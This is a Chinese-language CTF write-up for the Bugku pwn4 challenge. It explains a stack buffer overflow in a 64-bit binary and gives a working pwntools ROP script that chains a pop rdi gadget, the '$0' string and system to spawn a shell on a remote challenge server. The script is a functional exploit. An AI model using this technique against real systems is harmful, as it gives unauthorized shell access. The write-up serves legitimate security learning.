Bugku-pwn4详解

这道题来自bugku的第三道pwn题,pwn4。首先进行一些常规检查。

pwn4_1.png

一个64位动态链接的程序,没有开什么保护

然后用IDA打开,有个危险函数read,可以用来溢出。

pwn4_2.png

shift + F12查看有没有可疑字符串,然后在字符串上按x查看引用他的地方,找到了一个system函数

pwn4_3.png

但是system函数里面的字符串并不是我们想要的'/bin/sh',尝试用ROPgadget去搜索,命令为ROPgadget --binary pwn4 --string '/bin/sh',搜索无果。。。再回到IDA中检测字符串

pwn4_4.png

发现了一个$0$0在linux中为为shell或shell脚本的名称

system()会调用fork()产生子进程,由子进程来调用/bin/sh -c string来执行参数string字符串所代表的命令,此命令执行完后随即返回原调用的进程。

所以如果将$0作为system的参数,能达到传入'/bin/sh'一样的效果。

在这里插入图片描述

上面的图展示了$0bash中的值,可以看到一开始的进程只有两个,此时输出$0,得到的是bash本身,单独输入$0,可以看到多了一个bash进程。

有了system函数和$0作为参数,就可以进行溢出了。

还有要注意的就是64位程序和32位程序的传参方式不一样32位的函数调用使用栈传参64位的函数调用使用寄存器传参,分别用rdirsirdxrcxr8r9来传递参数(参数个数小于7的时候)。

我们利用ROPgadget工具进行查找,得到pop rdi ; ret$0的地址,system的地址直接在IDA中查看

pwn4_6.png

在这里插入图片描述

首先先填充缓冲区,大小为0x10,然后覆盖rbp,8个字节,传入pop rdi;ret的地址和$0,将栈中$0的地址弹出,存入rdi作为参数,在传入system地址进行调用。

下面是脚本

from pwn import *

context.log_level = 'debug'

conn = remote('114.116.54.89', 10004)
# conn = process('./pwn4')

pop_rdi = 0x00000000004007d3 
bin_sh = 0x000000000060111f
system = 0x000000000040075A

payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)  

conn.recvuntil('Come on,try to pwn me')

conn.sendline(payload)

conn.interactive()

pwn4

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 10
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值